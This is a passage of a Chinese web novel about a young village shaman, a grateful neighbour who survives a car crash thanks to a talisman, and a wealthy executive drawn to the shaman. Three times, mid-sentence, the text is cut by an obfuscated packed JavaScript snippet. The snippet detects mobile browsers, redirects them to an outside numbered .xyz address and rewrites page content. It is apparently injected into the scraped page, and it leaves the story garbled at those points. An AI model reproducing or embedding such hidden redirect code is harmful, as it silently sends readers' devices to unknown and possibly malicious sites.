闲谈间郝大哥发现原来对方是总公司的负责人,这次来宜梨县只是来巡视旗下的产业而已。 男人也注意到郝大哥落在他身上的目光,轻轻笑道:“你好,我是席远。” 郝大哥紧张到结巴,最后还是产品负责人帮了他一把,好好向男人介绍了他的身份。 酒过三巡,大家也没有像一开始那么拘谨,反而谈起了最近发生的趣事。 其中一个领导喝多了几杯,脸颊泛起了红晕,醉醺醺地说道:“我最近不管投资什么都是亏本,身体也不像以前那么利索,不知道是不是新搬的公司风水有问题,跟我八字不合,你们有没有靠谱的大师可以介绍一下?” 越是有钱有势的人,越是相信风水玄学。 在场的几个老总在这方面经验不少,见大家都聊得起劲,郝大哥也忍不住分享了他跟女租客的故事,“要不是有大巫在,我也不知道今天还能不能坐在这里跟大家闲聊喝酒吃饭。” “大巫?是叫邬柳那位大师吧?” 郝大哥微微惊讶:“您也认识?” “嗯,前几年我妈生病,去了很多地方看过都说治不好了,有人就给我推荐了这位大师,他只是给我妈扎了几针,开了一个月的药,也不过是几百块的医药费,现在我妈身体比我都好。” “真这么神啊?” “那可不,听说那位大师是他们村寨最后一位继承人,本领大得很,一方水土供奉一方神明,他们那边供奉的神明就是他们的大祭司,还有大巫。” “那岂不是活人受香火?” “所以说那位大巫的本领可是非同一般啊。” “那我可得去拜访一下他老人家,帮我看看到底是出了什么问题。” 郝大哥没想到这里居然还有人会认识大巫,听到“老人家”这三个字不禁想起邬柳的脸,失笑道:“大巫长得可不老,他很年轻。” 那位见过大巫的领导拉着郝大哥多聊了几句:“我记得塔塔村再过不久就是满月祭了吧?” 郝大哥点点头:“大概是在这个月尾。” 一直在默默听着他们闲聊的男人好奇地开口:“满月祭?” 郝大哥:“是塔塔村的祭祀仪式。” 席远若有所思,没再开口。 饭局结束之后,几人一起坐车离开。 郝大哥有幸坐上了席远的专车,他还是第一次坐上迈巴赫。 席远对刚才饭桌上聊到的满月祭很感兴趣,郝大哥又陆陆续续给他讲了许多关于祭祀仪式的趣事。 “您要是有空的话,可以来看看,满月祭的仪式特别隆重,很热闹。” “嗯,正有此意,我还想认识一下……” 席远的话还没说完,对面一辆开着远光灯的面包车加速朝着他们的方向驶来。 司机不断地按着喇叭,快速调整车头,但还是慢了一步。 惊恐的声音在车厢中响起。 “嘭”的一声,两辆车相撞。 他们坐的那辆车整个车身翻转,兼职司机的保镖和副驾驶的助理都陷入了昏迷。 席远脸上也有几道擦伤,意识不太清醒。 只有郝大哥身上并没有什么伤口,他甚至整个人还是清醒的,只是两辆车碰撞的那一刻让他陷入了恐惧,在车里呆坐了两分钟才缓了缓神,他从后座的车窗爬了出来,哆哆嗦嗦地报了警。 醉酒的那辆面包车撞上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466920|185491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栏杆,司机已经晕死过去了。 有路人帮忙报了警,还把车厢里剩余的三个人救了出来。 郝大哥坐在路边,惊魂未定,握着手机的手都在颤抖。 护士把他扶上车的时候,问他哪里不舒服,郝大哥愣了愣,轻轻摇头。 他没感觉到哪里疼痛,只是神情受到惊吓,有些恍惚。 来到医院后,他做了个全身检查,结果显示他的身体状况良好,甚至连一点皮肤擦伤都没有,医生都震惊了。 一辆车,四个人,其中三个人都不约而同地受了伤,只有郝大哥没有挂彩。 郝大哥也不知道怎么解释,他坐在手术室外面的椅子上,摸了摸口袋里的那枚护身符,喃喃道:“原来是真的能保命啊。” 他回想起当时邬柳看他的那一眼,明显地皱了皱眉头,随后才撕下墙上的符纸给他画了这枚护身符,是不是那时候的邬柳已经看到他会有这一劫,所以才会给他送这枚护身符? 品牌方的负责人知道他们出了车祸之后,吓得连夜赶来了医院。 保镖的伤势比较重,还没完全脱离危险期,助理脑震荡需要住院,席远只是有些擦伤没什么大碍。 看着活蹦乱跳的郝大哥,几个领导都不禁嘀咕:“你小子运气也太好了吧?” 郝大哥尴尬地笑了笑,只好把大巫给他的那枚护身符拿了出来,说:“这是在我出门之前,大巫给我的护身符,让我带在身上,没想到还真保住了我一命。” “就是你们刚才在饭局上讲的那位大巫?” “看来他不仅精通医术,还能算命看风水啊。” “我们大巫可不是一般人,他在塔塔村可是神一般的存在。”郝大哥现在已经彻底成为了邬柳的迷弟,反复地说着那天邬柳把护身符交给他的那一幕。 坐在床上休息的席远对这个素未谋面男人产生了极大的兴趣,想亲自到塔塔村走一趟,他留下了郝大哥的联系方式,意味不明地说了句:“听说那边的原始森林探险项目很有意思,等养好伤之后,我打算去爬山锻炼一下身体,到时候劳烦你给我当导游了。” 郝大哥爽快地答应下来:“行,到时候您给我打个电话,我在塔塔村工作好几年了,熟门熟路,绝对让您满意。” …… …… 在宜梨县逗留了几天后,郝大哥也收拾好行李回程了。 这趟出差,把他整得对宜梨县都有阴影了。 为了防止回去的路上再出现各种意外,郝大哥每一步都走得十分小心翼翼,甚至回程之前还给自己买了份高额保险,结果回去的这一路上畅通无阻,什么事也没发生。 郝大哥落地塔塔村的那一刻总算松了口气,看着那栋熟悉的公寓楼,他简直是热泪盈眶,连女租客给他带来的阴影都被那场车祸所覆盖,他飞快地爬到四楼,用力敲了敲邬柳的房门。 “大巫!” “开门!!” “我回来啦!!!” 过了好一会,邬柳才睡眼惺忪地开了房门,暗含杀气地瞥了他一眼:“什么事?” 郝大哥“扑通”一声给他跪下了,抱住了他的大腿,嚎啕大哭:“大巫,见到你真是太高兴了,你是不是早就算到我有一劫了?我差点就死在宜梨县了!太可怕了,你都不知道,我发生了车祸,但我毫发无伤!!肯定是因为你给我的护身符保住了我这条狗命!呜呜呜!太感动了,我愿意以后为你做牛做马!” 邬柳总觉得这一幕似曾相识,看了一眼抱着他大腿不愿撒手的郝大哥,他僵硬地说了句安慰他的话:“这不是还活得好好的吗?” “...”郝大哥想起那天的车祸,浑身颤了颤,仿佛车祸的那一瞬间又浮现在眼前,他哽咽地说道:“我差点就死掉了呢。” 邬柳强忍着打哈欠的冲动,说道:“那我应该要说声‘恭喜’吗?” 他实在不知道劫后余生该说些什么安慰的话。 他向来没什么人情味,又尖酸刻薄。 郝大哥也知道他的性格,并不在意,反而激动地说:“为了表示我的感谢,我给你买了超多的特产!” 听到这里,邬柳醒了醒神。 邬柳:(O﹃O) 他可以不计较郝大哥将他吵醒这件事,也收回了打算给他下点泻药的心思。 4. 第 4 章 “今天塔塔村这么热闹啊?” “因为大家都在准备供品啊。” “供品?” “嗯,因为满月祭要来了。” 塔塔村即将迎来一年一度的满月祭。 对于塔塔村而言,满月祭是他们最重要的节日,也是一家团圆的日子。 “爷爷,什么是满月祭?” “满月祭啊,那是先祖的故事。” “什么故事啊?” “那是在上古时期的故事,那时我们还不叫塔塔村,我们应该叫九黎部落。” 九黎部落是传说中的存在,他们早已消失在历史的长河里。 而满月祭的由来,是先祖九黎部落的族人在祭祀他们的大祭司阿瑶和大巫阿漓。 大祭司是被认为可以与神明沟通的存在,能为部落消灾祈福,是部落里的核心领袖,是掌握部落文明的承载者,还是负责组织和主持祭祀活动的领导者。 而大巫是鬼神之间的通灵者,跟鬼神打交道,能招魂驱鬼,能勘破他人命运,是一个集齐通灵、制蛊、医术、算命占卜等等复杂身份的神秘人。 无论是大祭司还是大巫都深受族人的爱戴。 所以在多年后,后代的族人通过流传至今的神话故事,以供奉大祭司和大巫等祭祀的方式来延续先祖文化。 “那为什么大祭司没有传承人?”坐在一旁白白净净的小孩睁着圆溜溜的大眼睛好奇地看着他的爷爷。 白发苍苍的爷爷似乎被问住了,久久回答不上小孩的问题,支支吾吾地说着:“或许是大祭司没有给我们留下子嗣吧。” 隔着墙的邬柳听到这句回答,唇边浮现一抹讥讽的笑容。 明明是黑暗又丑陋的现实,居然会被篡改成神话故事代代相传。 满月祭的由来从来就不是为了纪念大祭司阿瑶和大巫阿漓为部落作出的贡献。 当年九黎部落的族长乌堰将青梅竹马的大祭司阿瑶视为自己未来的妻子,想与她成婚,但是阿瑶并不喜欢乌堰,多次拒绝他的求婚,可乌堰却固执己见,以各种手段进行威胁,在一次阿瑶以祈祷为由离开部落之后,她失踪了三个月,回来时已有了身孕,乌堰怒火中烧,觉得是阿瑶背叛了自己,两人的关系跌到冰点。 乌堰以族人不得与外族男子通婚的理由要将阿瑶驱逐,甚至杀死她腹中的孩子。 最后还是大巫阿漓力保下阿瑶,亲自照顾她,直到姜祈的出生。 姜祈是个很优秀的孩子,他有远超大祭司和大巫的能力,而且他还是大祭司的孩子,按道理来说,应该由他继承大祭司的身份,将神职传承下去。 可姜祈的生父身份不明,被族长挑唆,部落里的人都将他当作异族,称他为野种,所以他并没有得到族人的认可,也没有获得传承大祭司身份的资格。 已经失去理智的酋长宣称废掉大祭司之位,所以后辈血脉里,他们只知道大祭司阿瑶,是因为姜祈的存在被九黎部落的族人刻意抹去了。 在酋长不断的洗脑下,被废去大祭司身份的阿瑶和她的孩子姜祈在部落里过得很不好,在阿瑶离世后,阿漓为了姜祈不被酋长驱逐出部落,将他收养。 直到陆时的出生。 九黎部落的每一代大巫都能感应到他们的传承人,陆时就是大巫身份的继承者。 陆时并不介意姜祈的身份,反而很喜欢黏着姜祈。 但这不是族人和酋长所希望看到的。 所以,他们趁着阿漓出远门的时候,将年幼的陆时关在小木屋里,将姜祈用荆棘捆在祭台上,将他烧死。 那天原是满月,天空却乌云密布,森林里的火光冲天。 跌跌撞撞跑到高台上的陆时用尽最后力气向上苍求雨,那场大雨最终成了九黎部落永远的噩梦。 那天以后,族人们发现他们身上多了个蝴蝶印记,无论如何搓洗都无法将印记去除,甚至有人将整块皮肤切掉,印记也会在第二天出现在伤口上,触目惊心。 他们明白这是姜祈给他们下的蛊,又或者说这是一种诅咒。 随着一天天过去,这个印记并没有发生什么奇怪的现象,直到一场雨的到来,打破了整个部落的宁静。 那天,惨叫的嘶吼声响彻整片森林。 之后的每个下雨天,他们都会遭受□□被蛊虫啃噬之痛。 那是失去爱人的姜祈对九黎部落所有族人下了一场诅咒,哪怕是他们的子孙后代在降生于这个世上时,都会带着这枚蝴蝶印记,诅咒永远都不会停止。 为了平息姜祈和陆时的怒火,酋长带着族人举办了名为“满月祭”的祭祀仪式。 多年过去,满月祭被世代流传,却被一次次美化,成了守护部落的神话故事。 时至今日,过去的真相已经不重要了,现在的满月祭是为了感恩先祖,更是为了延续部落的文明。 邬柳并不喜欢满月祭,他会守着这个秘密直到死去。 每年的这个时候,邬柳都会回森林一趟,去给故人扫墓。 阿瑶喜欢玫瑰,而他的师父阿漓喜欢白雏菊。 邬柳朝森林深处吹了一声口哨,过了好一会,一头银灰色的狼从密林里拱了个大脑袋出来,看了他一眼,兴奋地朝他扑了过来。 “嗷呜~” 邬柳险些被它扑倒在地,摸着它毛茸茸的大脑袋rua了一把,一边嫌弃它滴落在自己身上的口水,一边翻身骑上了它的背,“走吧,时间不早了。” 越往森林中心地带走,湿度越重,所看见的毒虫也越来越多。 邬柳身上挂着的银饰,发出“叮叮咚咚”的清脆声音,在山林间回响。 看着地面上蜿蜒曲折的痕迹,他摸了摸小白的头,“你看见那条大蛇了吗?” “嗷,嗷呜~” 邬柳看着它忽然变得颓丧的表情,笑道:“所以你跟它打架打输了是吗?” “嗷。” 邬柳趴在他的背上,揪了一把它的毛发,哄道:“那蛇年纪比你大,吃得又多,你打不过它是因为你还小,你多吃点好好长身体,说不定下次就能打过它了。” “嗷呜~” 小白对他这句话高度赞同,尾巴都快甩出残影来了。 邬柳来到山顶上,清冷的山风带着一股湿润的泥土气息拂过他的脸颊,他深吸了一口气,朝着前方走去。 周围的野草有被清理过的痕迹,墓碑也被擦拭得干干净净,两座坟墓紧紧挨在一起,上面各摆放着一束花,花瓣很鲜艳,上面还有水珠。 看来姜祈比他先到了一步。 邬柳把手上的红玫瑰放在了阿瑶的坟前,随后移步到阿漓的坟前,看着墓碑上那苍劲有力的刻字,他眼眶一热,有了泪意。 小白趴在他的脚边,他挨着小白蹲下来,给师父的坟松了松土,又再次压得严严实实的。 邬柳自顾自地说了很久的话,大部分都是在抱怨和发牢骚。 “师父啊,一个人真的过得很累啊。” “为什么传承到我这一代就结束了呢?” “姜祈那家伙有陆时陪着,每天都不知道过得多惬意。” “九黎部落都要被他烧没了,我的财产也被烧了,您说我是不是该去找他赔偿我的损失啊,也不至于我现在成为了穷光蛋。” “师父,我不想再守护部落了,我想出去走走。” 直到邬柳蹲得脚都麻了才停止了他的长篇大论,“如果我明年还在塔塔村的话,我再来看您吧。” 他刚走出了森林腹地就接到了郝大哥的电话。 “什么事?” “大巫!呜啊!!救救我!!!” 邬柳脚步一顿,无声地叹了口气:“又怎么了?” 郝大哥看着树干上被他刻画的几道划痕,和疯狂转动的指南针,开始怀疑人生:“我好像迷路了。” 邬柳:“你在森林里面吗?” 郝大哥:“嗯,我今天带了两位领导来爬山,原本走的就是景区路线,但不知道怎么的偏离了导航,越走越远,指南针坏了,我们也不确定现在在哪个方向。” “根据我们刚才走的路线应该是没错的,可能是这里的雾气太重了,也可能是磁场混乱让指南针给了我们错误的指示,我建议我们还是留在原地等待救援。” “有这里的救援电话吗?” 邬柳敏锐地听见了除了郝大哥以外,其余那两个人的声音,听到他们说起救援电话时,他果断开口:“如果雾气太重的话,救援队也不会轻易进山,太危险了,不用给救援队打电话了,我过来找你们,按市场价八折就好。” 郝大哥直接应了下来,十分感动地嘤了几声:“大巫你真好!我们是待在原地就可以了吗?” “嗯。”邬柳挂断电话之后,摸了摸小白的头,说:“去吧,找找他们在哪。” 小白在前面开路,邬柳跟在身后,一路上还捡了不少菌子。 直到小白带着他出现在一个熟悉的地方时,他无奈地扶了扶额,是不是该跟景区的工作人员沟通一下,把这条路封死,免得其他人总误闯这条路线,太危险了。 他也不想再捡人了。 邬柳拍了拍小白的屁股,示意它可以离开了。 “嗷...”小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466921|185491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白哀怨地看了他一眼,还没哀嚎出声就被邬柳捂住了它的嘴,示意它别出声,“乖,别吓着其他人,我下次带你喜欢吃的来找你玩。” 小白不情不愿地在他怀里拱了拱,三步两回头地离开了。 大雾四起,云雾缭绕山间,丝丝缕缕地缠绕在每一棵大树上,缓慢地流动着,能见度不足一米。 “叮叮咚咚——” 清脆的铃声打破了森林的寂静。 一道模糊的轮廓出现在这片云雾中。 随着铃声的靠近,那道轮廓也渐渐清晰起来。 雾气好像散了些。 邬柳的身影出现在众人面前。 他身着黑色衣袍,身上的银饰随着他的步伐轻轻晃动。 三人的目光顿时被他吸引,郝大哥第一时间冲到邬柳面前,抱住他的大腿痛哭:“大巫!这到底是什么鬼地方啊!跟着导航走也不对,指南针也不灵了,信号还特别差,我还以为要被困在这里了。” 邬柳:“……” 他才一米七,郝大哥好歹是个一米八的壮汉,什么时候能把抱人腿的坏习惯改改。 “我就是按照景区路线走的,怎么还迷路了呢?”郝大哥小心翼翼地看了一眼席远和他的助理一眼,心虚不已,明明是他放下豪言壮语说要带着他们两位一起穿过森林探险的路线到达塔塔村,结果半路就遇到各种问题,不是导航出了问题就是指南针失灵了,三个人晕头转向的,中途小状况特别多,特别倒霉,他待会要不要找大巫单独问问,他最近是不是又招惹上什么不干净的东西了。 上次大巫让他用符纸灰的水洗澡好像还挺有用的,要不再洗一次吧? 邬柳拍了拍他的头,安抚道:“好了,都多大的人了,迷路还哭。” 郝大哥:“嘤,好可怕的。” 席远站在不远处,静静地打量着这位在郝大哥嘴里充满神秘色彩的大巫。 他比想象中的还要年轻,气质清冷,眉宇间有种淡淡的疏离感,他的声音散漫而慵懒,给人一种很干净的少年感觉。 他站在云雾里,更添几分神秘感。 据席远了解,郝大哥今年已经25岁了,可眼前的大巫看起来比郝大哥还要年轻。 病态的冷白肤色显得他整个人清清冷冷的,不好靠近,皮肤光滑没有一丝皱褶,诡异的是在他脸上看不到那种二十岁出头的稚嫩和青涩,而是一种像是历尽千帆的沧桑感。 在郝大哥抱住他的大腿时,席远明显地察觉到他一瞬间的僵硬,但很快又松懈下来,看向郝大哥的目光就像是在看小孩,连说话都带着一股不易察觉的宠溺。 邬柳感觉到对方打量的目光,抬眸看了他一眼。 四目相对的这一刻,两人都产生了一种诡异的熟悉感。 席远率先打破沉默,唇角微微上扬:“你好。” 邬柳压下心里那种微妙的感觉,点了点头,他的目光落在男人的小腿上,随着男人的靠近,他捕捉到了空气中一股极淡的血腥味。 席远好奇地随着他的目光看向了自己的腿,不明所以:“怎么了?” 郝大哥和席远的助理都纷纷看向他的腿,助理连忙帮他挽起裤脚,一道鲜红的血液赫然出现在眼前,一条山蚂蟥吸附在他的小腿上,血肉模糊,触目惊心。 助理紧张不已:“席总?!” 席远怔了怔,还没从眼前这一幕反应过来。 郝大哥吓懵了:“这是山蚂蟥吗?!” 邬柳:“你们...带盐了吗?” “没有。”郝大哥摇摇头:“有什么办法可以把它弄下来吗?” 邬柳无声地叹了口气,大概只有本地人才知道这座大山藏了多少的山蚂蟥,随便一片草丛都潜伏着密密麻麻的山蚂蟥。 这里的阳光无法直射到地面上,隔绝了所有光线,加上雾气很重,所以森林里面湿气很重,是山蚂蟥的温床。 本地人上山捡菌子都会穿下水裤,带上一包盐,就为了防山蚂蟥。 邬柳来到席远面前蹲下,伸手轻轻触碰着那条山蚂蟥。 那条紧紧吸附在小腿上的山蚂蟥掉了下来,落在邬柳的掌心里,黏腻的感觉让邬柳抿了抿唇,不爽地把他丢到了身后的草丛里。 他从口袋里拿出一瓶药粉,洒在伤口上止血,冰冰凉凉的感觉让席远感到很舒服,看着在认真给他包扎伤口的大巫,他很真心实意地说了句“谢谢”。 邬柳头也没抬,淡淡地说道:“不客气,一会记得给我再转五十。” 席远短暂地怔了怔,眸中绽开点点笑意,这位大巫的性格比他想象中的还要有趣。 5. 第 5 章 席远垂头看着蹲在他面前为他包扎的邬柳,眼睁睁地看着那双细白的手给他系了个漂亮的蝴蝶结。 邬柳对自己的包扎技术很满意,他很久没有系过这么好看的蝴蝶结了,甚至有种想要拍下来发朋友圈的冲动。 想想刚开口要的那五十块,心里隐隐作痛,看眼前的男人就知道他身价不菲,应该赚他个几百块的,草率了。 不知怎么的,席远感觉他好像读懂了邬柳脸上的表情。 那样生动又鲜活的一面,让席远有些意外。 在没见到邬柳之前,席远想象中的大巫,是穿着黑色斗篷的巫师模样。 但现实里的大巫,是个爱财又别扭的小孩。 山里的雾气渐渐消散,视野变得开阔明亮。 邬柳走在队伍的最前面,负责带路。 席远紧紧地跟在他的身后,就前后脚的距离,挨得极近。 邬柳:“……” 他敏感地察觉到落在他身上的那道炽热目光,仿佛要将他的背部烧穿了。 男人好奇的目光中带着丝毫不加掩饰的兴致,给邬柳一种对方想要窥探他秘密的感觉。 偏偏男人表现得落落大方,让他的心情格外烦躁。 他停下脚步,刚想说点什么,身后的男人撞了上来。 邬柳惯性地往前摔去,千钧一发之际,席远搂住了他的腰。 两人四目相对,皆是一愣。 席远率先反应过来,迅速地扶着他站好,便收回了手,提醒道:“青苔很滑,小心点。” 邬柳的表情有点懵,似乎是没想到在他停下脚步之后,席远会这么直接地撞上来。 在这一刻,席远感觉邬柳身上那种距离感淡了许多,他把邬柳摔在地上的篮子捡了起来。 邬柳连忙从他手里夺回了他的小竹篮,面色不虞地继续往前走。 怎么能让小辈们看到他这么丢脸的一幕! 这个小孩真不懂事!! 邬柳:气晕。 跟在他们的身后的郝大哥和助理面面相觑,大气都不敢喘。 助理心里五味杂陈,他跟席远好些年了,也没见过自家BOSS有这样的一面。 千里迢迢来到这里爬山,就为了要见那位大巫一面。 见到人之后,不仅没有失望,反而兴致更高了。 郝大哥则是震惊地看了一眼席远。 不愧是席总!连大巫的腰都敢搂!! 他会为席总默哀几分钟,但愿大巫不会想要杀人灭口。 席远看着他小竹篮里的菌子若有所思,忽然开口说了句:“郝大哥,你有订好餐厅了吗?” 邬柳悄悄地竖起了耳朵,他捡菌子就是为了坑这几个大冤种的。 郝大哥:“还没有呢,我们这里的米线,炸竹虫什么的都很出名,您有什么想吃的吗?” 席远嘴角缓缓勾起,粲然笑道:“听说这里的菌子火锅很出名,有可以推荐的吗?” 助理愣了下,作为席远的助理,他自然对自家BOSS的口味了如指掌,菌子什么的是不可能会出现在BOSS的餐桌上的。 郝大哥也糊涂了,在席远说要过来爬山的时候,他还做足了功课,为了能让席远玩得尽兴,他还专门找人问了问席总的爱好,生怕踩到了雷区。 从他所调查到的资料来看,这位席总并不喜欢吃菌子,所以他刚才并没有主动提起菌子火锅,“我们这里的菌子火锅可多了,我也尝过好几家,味道不错,不如我们……” “来我家吃饭吧。”邬柳忽然出声打断了郝大哥的话。 “咦?”郝大哥惊讶出声,朗声笑道:“真的吗?我听房东说过您很会做饭来着,没想到今日居然有幸吃上您做的饭了。” 邬柳轻咳一声:“念在我们是邻居的份上,我可以给你打个八折。” 郝大哥瞬间收起了笑容:“咳...席总,您觉得呢?” 席远看着邬柳净白的双耳透着一层粉色,不禁笑了笑:“能尝到大巫的手艺,那自然是最好的选择。” 邬柳:“。” 总感觉他在调侃自己,让邬柳很不爽。 下了山之后,邬柳带着席远回了公寓楼,郝大哥和助理要到附近的菜市场买点肉和啤酒。 在席远跟着他来到四楼后,看着墙上残留的古怪痕迹,他好奇地看了对面的402一眼,就在这一瞬间,他感觉自己好像被钉在了原地,无法动弹,四面八方涌来一股阴冷的气息,让他后背发凉。 他想伸出手拉一下邬柳的房门,却无论如何都抬不起手。 邬柳打开门后,迟迟没看见他跟进来,往门外看了一眼,席远正目不转睛地盯着402的房门,他一动不动地僵在原地,额头上渗出一层薄薄的冷汗。 同时,他也能感觉到席远周身的磁场很不对,从他第一眼看到席远的时候就已经发现了,席远身上裹着一层肉眼看不见的淡淡的黑雾,霉运缠身的人就是这样。 邬柳忽然想起前几天郝大哥跟他说过在宜梨县遇到了对方总公司的老板,对方还不到三十岁,很年轻,却是当家掌权人,姓席,原来说的是眼前这位。 郝大哥大概不知道他的命格很好,风水很旺,阳气也足,基本不会招来什么邪祟,之所以会被402房的女租客缠上,纯纯是因为对方是个大馋丫头,看上的也不是他的命格,只是垂涎郝大哥的美色罢了。 那几天的倒霉也只是他那几天运气不好,但不至于出现什么生命危险。 他会在宜梨县出现意外,并不是他自身的原因,而是遇到了这位姓席的年轻人。 就算郝大哥没有在那天出现,他俩没有乘坐同一辆车,那场车祸还是会发生。 车祸是既定的事实,可郝大哥是那场车祸的变数。 恰恰是因为席远选择了与郝大哥同乘,而且郝大哥身上还有邬柳给的那枚护身符,所以席远在那场车祸并没有受到什么严重的伤。 这应该不是席远第一次遇到生命危险了。 可以说席远所遭遇的不幸都是因为他身上的气运,能接近他的人一定是命格很旺的人,稍微气运差点的人接近席远,那肯定会被霉运缠身。 邬柳能感觉到脚下的磁场很乱,有很多东西都在蠢蠢欲动,试图扑上来。 他拍了拍席远的肩膀,明明是很轻的力道,却让席远感觉浑身一震,从混乱的意识中清醒过来。 席远怔怔地站在原地,他刚才发生了什么? 有那么几分钟的时间,他感觉身体不是自己的,像被人牢牢箍住了灵魂,周遭的一切变得模糊不清,他无法从困境里走出来。 直到邬柳给他拍的那一下肩膀,他才从混沌中清醒过来,这种感觉让他很不安。 邬柳伸手在他面前晃了晃,说道:“发什么呆,快来帮忙。” 席远脸色有些苍白,茫然地点了点头。 目送席远走进客厅之后,邬柳从裤兜里掏出一沓符纸,随便抽了一张,画了道符,贴在了楼梯过道的墙上,那些蠢蠢欲动的东西霎时间安静了不少。 邬柳垂下眼睑,眸底闪过一丝猩红色的光,他动了动唇角,略带不满的声音轻轻响起:“别在我的地盘闹事。” 窗外的风拂过他脸颊的发丝,身上的银铃声在楼道回响。 关上房门后,他看了眼坐在沙发上发呆的席远,不由得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466922|185491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皱紧了眉头,他能感觉到席远的神志还未完全清醒过来。 邬柳给他倒了一杯热水,悄悄往水里加了点符纸灰,端到他面前:“喝吧。” 席远喝下这杯水后,休息了好几分钟才缓了过来,听见厨房传来的水声,让他醒了醒神,只是对刚才发生的一切很模糊。 他是怎样进的门,又是怎么坐在了这沙发上。 他看了看手上空空的杯子,底下还有一层灰色的沉淀物,他轻轻嗅了一下,是一种纸片烧焦的味道。 席远疑惑地蹙起眉头,他被下毒了吗?邬柳给他喝的是什么? 而这时,邬柳从厨房探出头,瞥了他一眼,说道:“还不快来帮忙。” 席远:“???” 帮忙?帮什么忙? 邬柳一本正经地开口:“你给的是材料费,人工费是另算的,因为我不打算收取天价人工费,所以你只能选择来帮我洗菜。” 席远:“。” 好黑的店。 两人就挤在小小的厨房里,用着同一个洗手盆。 他们的距离很近,近到席远甚至能闻到从邬柳身上散发的那股淡淡的青草香。 邬柳看着他把菌子洗得乱七八糟的,忍不住抬眸看了他一眼,里面的嫌弃仿佛要溢出来。 席远:“怎么了?” 邬柳:“你好笨。” 席远看着手里的菌子,无奈地笑了笑:“那你可以教一下我吗?” 邬柳握着他的手,亲自示范了一遍。 柔软的触感让席远微微一怔,那股青草的味道好像变得浓稠了。 邬柳:“学会了吗?” 席远不确定地点了点头。 其实他刚才没有认真去看邬柳是怎么洗的。 “...”邬柳一看席远就知道,他肯定从小就衣食无忧,不需要做家务的富家公子,也不指望他能帮上什么忙。 被嫌弃的席远默默地低着头,看着邬柳那双漂亮的手一点点沾上泥土,心里有种莫名的痒意,想要握着他的手,仔细擦干净。 席远强迫自己别开眼,认真洗起了手头上的菌子,主动找起了话题:“我刚才怎么了?” “哦?”邬柳漫不经心地瞥了他一眼,“你刚才发生了什么?” 席远顿了顿:“没什么。” 他是个无神论者。 或许是他太累了,才会产生幻觉。 就在这时,买菜回来的郝大哥扯着嗓门大声喊道:“大巫,我回来了,快开门!” 邬柳给他开了门,郝大哥站在门口兴致勃勃地指着墙上那张符纸,好奇道:“那是什么?用来做什么的?” 明明早上还没有的,是刚才贴上去的吗? 邬柳:“驱鬼辟邪的。” 郝大哥连忙跑进屋,把大门关上,眼巴巴地看着邬柳,“我们这栋楼真是够邪乎的,是不是又来了什么脏东西了?” 邬柳抬眸看了眼还在厨房里洗菌子的“脏东西”,轻哼一声:“没有啊,有我在,哪能进什么脏东西。” 郝大哥崇拜地看着他:“我能买一张吗?我也想贴在门口。” 邬柳:“你不贴也没关系。” 郝大哥疯狂摇头,想起402房的女租客,他就心里发憷,“还是贴一张吧,感觉一张也不太够,贴多几张效果是一样的吗?” 邬柳看着人傻钱多的郝大哥微微一笑:“你想多贴几张也可以,一百块钱一张。” 郝大哥豪爽地给他转了五百块,“那我要五张!!我要在门口、洗手间、厨房、客厅、房门都贴上一张!” 邬柳沉默了几秒,扬唇笑道:“行,一会就给你写上。” 6. 第 6 章 临走的时候,席远看向邬柳,晃了晃手里的手机,“我能加你个微信吗?” 邬柳:“嗯?” 席远笑道:“在森林迷路的救援费、包扎的费用还有你说的材料费,加我好友之后,我转给你。” 郝大哥闻言,连忙也掏出手机说道:“怎么能让您破费呢,您远道而来,当然是我...呃!” 腰间传来一阵刺痛,郝大哥低头看了眼,是胡助理掐了一下他的腰,打断了他的话。 郝大哥:“???” 胡助理微微一笑:“郝大哥是我们品牌代言人,怎么能让你买单。” 郝大哥懵懵懂懂地挠了下头,这两者有什么关系吗? 邬柳眉梢微挑,打开了他的收款码递了过去。 席远扫了一下,弹出的付款界面让他沉默了好一会,随后给邬柳转了一万块。 【收钱包到账一万元。】 邬柳心满意足地收下这笔巨款,面不改色地说了句:“老板大气,欢迎老板下次再来。” 救援费打了八折是四千,包扎的费用也就五十,三个人的饭钱是一千八,他应该要收五千八百五十元,但是对方给他转了一万,邬柳丝毫没有觉得不对,一般这种情况,他会直接默认剩下的金额都是对方给他的小费,既然进了他的口袋,就没有再出去的可能。 郝大哥听着这道语音提示,傻眼了。 救援费不是才四千吗?包扎费已经说好了是五十,那么,他们一顿饭居然吃了六千?! 难道他们刚才吃的不是菌子,是金子吗? 大巫真的很有开黑店的潜质,以后大巫想开店的话,他一定要成为大巫的合作人! 酒足饭饱之后,席远和胡助理要回到酒店休息,明天一早他们就要走了。 